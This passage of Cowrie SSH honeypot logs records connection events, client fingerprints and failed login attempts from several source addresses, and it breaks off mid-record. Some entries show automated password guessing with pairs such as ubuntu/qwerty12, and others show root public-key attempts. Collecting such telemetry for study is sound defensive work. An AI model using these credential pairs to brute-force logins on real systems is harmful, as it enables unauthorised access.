{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:52:27.568284Z","src_ip":"107.150.103.12","session":"8577cab4e70e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345trewq","message":"login attempt [ubuntu/12345trewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:52:27.882475Z","src_ip":"107.150.103.12","session":"8577cab4e70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:52:28.956994Z","src_ip":"107.150.103.12","session":"8577cab4e70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.71","src_port":54318,"dst_ip":"10.17.0.5","dst_port":22,"session":"a54c01996e4f","protocol":"ssh","message":"New connection: 209.90.232.71:54318 (10.17.0.5:22) [session: a54c01996e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:08.358231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:08.362963Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:08.495660Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:56:99:ec:33:75:03:40:37:0f:9c:c2:77:eb:c0:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxg8Pz6mqjUaNcmPTjwl137VAIMBrsdcuZg8fQLN1F6Yon01gTJb8aA13iIiNxGsbw2WtawhGP9hPF50EK0ICOWidRH9UaoLJ+aJXxW3zLjdtLR/300SNzwfY2043RjRmhKdB8hdRog0CO48S5u4dqT1cHPjb24pVFlVR+clpLi1E2fj2m79GoMFYCgQLM3ST+sN+MhJ/I+MAjXahS1Au0EXvBlW4UaZC3V20XVw7o78IsFkQVIfXEx8m01DZUoCA4RS8yfJIq/owg9CaVQ90m9BA34iX4EACE+psaujHadC/0ffS/P+UN03Ny97eTTkmw3dO56b6H5KqgqR3h7/DD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:56:99:ec:33:75:03:40:37:0f:9c:c2:77:eb:c0:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:08.885783Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:56:99:ec:33:75:03:40:37:0f:9c:c2:77:eb:c0:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxg8Pz6mqjUaNcmPTjwl137VAIMBrsdcuZg8fQLN1F6Yon01gTJb8aA13iIiNxGsbw2WtawhGP9hPF50EK0ICOWidRH9UaoLJ+aJXxW3zLjdtLR/300SNzwfY2043RjRmhKdB8hdRog0CO48S5u4dqT1cHPjb24pVFlVR+clpLi1E2fj2m79GoMFYCgQLM3ST+sN+MhJ/I+MAjXahS1Au0EXvBlW4UaZC3V20XVw7o78IsFkQVIfXEx8m01DZUoCA4RS8yfJIq/owg9CaVQ90m9BA34iX4EACE+psaujHadC/0ffS/P+UN03Ny97eTTkmw3dO56b6H5KqgqR3h7/DD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:08.889265Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:04:32:5f:91:b0:b9:8f:a2:2b:1b:25:4e:4f:7b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIIw2rkLmn06vA1nF2F3r5FB4FwMjjfDPdvpY4Hmx/Ofj2cnPe3JAGOLP4eblLfh4Y2EMVJ5G4wQYfBH6RRLx7ks0wFGHIGTeo25vwWTUJo4ZWVpsrEY7clE8sFbyANtKpbg0L5y4Q4dLzDZ2zPkR2PvZL9UpypvJorfiQWGUIKiFZHSCkL7FwPpOKNGH+jFks3iuwN74lWINex7qBX+JJDdzZ9yMstuAjZKY4mBHgUxiq72J4eNPY4ezmqGJT5YCLPPJH8HNRyqSUBCXay+9TVddBxnGN9t9C6qj5cKDuZG37Juc92UtdP4jkEd+0Tp2aSI+AoY+1vrnTCHwEGIrT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:04:32:5f:91:b0:b9:8f:a2:2b:1b:25:4e:4f:7b:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:08.964064Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:04:32:5f:91:b0:b9:8f:a2:2b:1b:25:4e:4f:7b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIIw2rkLmn06vA1nF2F3r5FB4FwMjjfDPdvpY4Hmx/Ofj2cnPe3JAGOLP4eblLfh4Y2EMVJ5G4wQYfBH6RRLx7ks0wFGHIGTeo25vwWTUJo4ZWVpsrEY7clE8sFbyANtKpbg0L5y4Q4dLzDZ2zPkR2PvZL9UpypvJorfiQWGUIKiFZHSCkL7FwPpOKNGH+jFks3iuwN74lWINex7qBX+JJDdzZ9yMstuAjZKY4mBHgUxiq72J4eNPY4ezmqGJT5YCLPPJH8HNRyqSUBCXay+9TVddBxnGN9t9C6qj5cKDuZG37Juc92UtdP4jkEd+0Tp2aSI+AoY+1vrnTCHwEGIrT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:08.967834Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:a7:e5:12:08:3a:5b:16:78:32:d7:f8:eb:53:e4:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFHiHwDac7j5vnr70gVO0qEvQ3tusRzssMA4oVoUOIhSznzTZtB74ohZ9QwSkc2gutbELp1aJuWC7SjuHHQ+bhhXTS40/mIF4XIxVvb0zzANc03v2bHdk/oDLHLgoDn0ZruFG6T09hgmkOEvO99P2X+DLi/VKaJ7iwmeYDyMQteM1RaQIlu1M5m9+99RjtJ3zZaoftYkFDfdDupdP8ZlgwT/ilXVPZSNo47t94Lg7KPFjWF0ftlttYXrF8MfPLB6Qo3TnU/9CG2+h4zFWrMP31RzNEAOdCo4iGh3llpQgGMi5j8Lx5BLfjJNhZaBFjNkAiAcyjjBdInDzBJiJNn6Ax","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:a7:e5:12:08:3a:5b:16:78:32:d7:f8:eb:53:e4:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:09.046189Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:a7:e5:12:08:3a:5b:16:78:32:d7:f8:eb:53:e4:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFHiHwDac7j5vnr70gVO0qEvQ3tusRzssMA4oVoUOIhSznzTZtB74ohZ9QwSkc2gutbELp1aJuWC7SjuHHQ+bhhXTS40/mIF4XIxVvb0zzANc03v2bHdk/oDLHLgoDn0ZruFG6T09hgmkOEvO99P2X+DLi/VKaJ7iwmeYDyMQteM1RaQIlu1M5m9+99RjtJ3zZaoftYkFDfdDupdP8ZlgwT/ilXVPZSNo47t94Lg7KPFjWF0ftlttYXrF8MfPLB6Qo3TnU/9CG2+h4zFWrMP31RzNEAOdCo4iGh3llpQgGMi5j8Lx5BLfjJNhZaBFjNkAiAcyjjBdInDzBJiJNn6Ax","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:09.050166Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:3c:49:c0:07:76:3d:b9:47:e7:ee:ab:19:ce:96:be","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL4XR3jlej3UdCdEVV0CHmwQo/sn2OE9rYb1SGhnNDTNvKdrVoNJ3uBNjL6Xv7s+kvmTly/UFw1eRPDXhJ8qjb4uY6FWh7cAb5itIms/97ovQ9Spm6VTPBnaSGJ6vPKopFlKyDS7S8pkeuXokB89l50BIPvTjaqvOnehSvG3HFcRAAAAFQDX/QkAJBJ0T5hvr8t8LnfHTd54qQAAAIEArmfZjesqdPVFP7FWmhjOLIgxr0bJ8MulHYpmjVDwUMZxpAH87RtzElVdCRdx++sHaHYkEC7SrmrJVctrgFIrVput6YKvf1dkAoSLTc9Q8a5gQ/dek4vlf16iVPN+4o1YLXrzAd57ZQNIleRVOP+vCvIk2XDUTMch+kF0LMbXTUEAAACAer5DBJIUlnFoJL/87p7MhBi5OIC0UY0toXJ1F5/u6SIYG6/REtLVi+03EjesSoeqt180Ac8qr/GHiHjf0lg+fRgNR20jAJMZUjBdmtg44lMF3ffbskm8G+n2lmljjnJZXBaJzSlfomGel/UTsEtgtRGsORGAWsy3wLwopPpRGkE=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 16:3c:49:c0:07:76:3d:b9:47:e7:ee:ab:19:ce:96:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:09.142266Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:3c:49:c0:07:76:3d:b9:47:e7:ee:ab:19:ce:96:be","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL4XR3jlej3UdCdEVV0CHmwQo/sn2OE9rYb1SGhnNDTNvKdrVoNJ3uBNjL6Xv7s+kvmTly/UFw1eRPDXhJ8qjb4uY6FWh7cAb5itIms/97ovQ9Spm6VTPBnaSGJ6vPKopFlKyDS7S8pkeuXokB89l50BIPvTjaqvOnehSvG3HFcRAAAAFQDX/QkAJBJ0T5hvr8t8LnfHTd54qQAAAIEArmfZjesqdPVFP7FWmhjOLIgxr0bJ8MulHYpmjVDwUMZxpAH87RtzElVdCRdx++sHaHYkEC7SrmrJVctrgFIrVput6YKvf1dkAoSLTc9Q8a5gQ/dek4vlf16iVPN+4o1YLXrzAd57ZQNIleRVOP+vCvIk2XDUTMch+kF0LMbXTUEAAACAer5DBJIUlnFoJL/87p7MhBi5OIC0UY0toXJ1F5/u6SIYG6/REtLVi+03EjesSoeqt180Ac8qr/GHiHjf0lg+fRgNR20jAJMZUjBdmtg44lMF3ffbskm8G+n2lmljjnJZXBaJzSlfomGel/UTsEtgtRGsORGAWsy3wLwopPpRGkE=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:09.146056Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:1c:bf:d4:6d:36:79:3f:e8:83:b5:f0:57:71:67:99","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMgaSScOw6V7iB1Z54S23dLyeS5K5pq9YJuhGDojUzAH85T2+P8L5T/7f+P0zE4FunmvUma9+W4jJ62997bMNlBcn9DU1hUkDrzNNMp/vXxiyNOl0b12WeKQ1lqxH8TltazlHdz/f17oqFiJBQwUDrbyMaQqnUIgIWeAT3r0mJBXAAAAFQCnXbcKwZRaMxC8iNHJlzhpdpawLwAAAIBuZ6yGGNtsJdwAKFyHAZOP0z0pr+qBQZNLMithJg9KYkugC961/F3RxYKyIyzuXSWR+2Wcq2KjGW8L3ibevI64ISDL7LlSf5CyPZVeX5yiQfioSgn8n0SH+/tEay/9r1QxCorMIcxfdVJ9IxilQKindLIlVLiwp+QjciBUnrUTHAAAAIEAxJvdTX0nBsF8b3ZMu3tGwgZo1hQCPbw2Hih4KhCAzf9zumEj5ddgS4Bxui18OzTzLcBOHmK6Cucp4Kf+2BdkCbO39iMv4KCj8dmhFdSHCkvIauokcGzelbAsyE8B/LM6ZIKInfZ3s0qLQT/cwy7BBH50FiD4DPkmWAQ4b42FkGQ=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 69:1c:bf:d4:6d:36:79:3f:e8:83:b5:f0:57:71:67:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:09.226060Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:1c:bf:d4:6d:36:79:3f:e8:83:b5:f0:57:71:67:99","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMgaSScOw6V7iB1Z54S23dLyeS5K5pq9YJuhGDojUzAH85T2+P8L5T/7f+P0zE4FunmvUma9+W4jJ62997bMNlBcn9DU1hUkDrzNNMp/vXxiyNOl0b12WeKQ1lqxH8TltazlHdz/f17oqFiJBQwUDrbyMaQqnUIgIWeAT3r0mJBXAAAAFQCnXbcKwZRaMxC8iNHJlzhpdpawLwAAAIBuZ6yGGNtsJdwAKFyHAZOP0z0pr+qBQZNLMithJg9KYkugC961/F3RxYKyIyzuXSWR+2Wcq2KjGW8L3ibevI64ISDL7LlSf5CyPZVeX5yiQfioSgn8n0SH+/tEay/9r1QxCorMIcxfdVJ9IxilQKindLIlVLiwp+QjciBUnrUTHAAAAIEAxJvdTX0nBsF8b3ZMu3tGwgZo1hQCPbw2Hih4KhCAzf9zumEj5ddgS4Bxui18OzTzLcBOHmK6Cucp4Kf+2BdkCbO39iMv4KCj8dmhFdSHCkvIauokcGzelbAsyE8B/LM6ZIKInfZ3s0qLQT/cwy7BBH50FiD4DPkmWAQ4b42FkGQ=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:09.229840Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:09.308304Z","src_ip":"209.90.232.71","session":"a54c01996e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":47677,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb8c8d4ba6b7","protocol":"ssh","message":"New connection: 106.241.31.17:47677 (10.17.0.5:22) [session: bb8c8d4ba6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:12.749199Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:12.952443Z","src_ip":"106.241.31.17","session":"bb8c8d4ba6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":48317,"dst_ip":"10.17.0.5","dst_port":22,"session":"e57d61b126fa","protocol":"ssh","message":"New connection: 106.241.31.17:48317 (10.17.0.5:22) [session: e57d61b126fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:13.159274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:13.163837Z","src_ip":"106.241.31.17","session":"e57d61b126fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:13.372528Z","src_ip":"106.241.31.17","session":"e57d61b126fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karina","password":"karina","message":"login attempt [karina/karina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:14.005556Z","src_ip":"106.241.31.17","session":"e57d61b126fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:15.218445Z","src_ip":"106.241.31.17","session":"e57d61b126fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":53154,"dst_ip":"159.203.135.109","dst_port":22,"session":"978dc942b48c","protocol":"ssh","message":"New connection: 107.150.103.12:53154 (159.203.135.109:22) [session: 978dc942b48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:17.206011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:17.210571Z","src_ip":"107.150.103.12","session":"978dc942b48c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:17.281130Z","src_ip":"107.150.103.12","session":"978dc942b48c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty12","message":"login attempt [ubuntu/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:17.594645Z","src_ip":"107.150.103.12","session":"978dc942b48c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:53:18.668255Z","src_ip":"107.150.103.12","session":"978dc942b48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":49584,"dst_ip":"159.203.135.109","dst_port":22,"session":"0888a0fbfc55","protocol":"ssh","message":"New connection: 107.150.103.12:49584 (159.203.135.109:22) [session: 0888a0fbfc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:05.738662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:05.744597Z","src_ip":"107.150.103.12","session":"0888a0fbfc55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-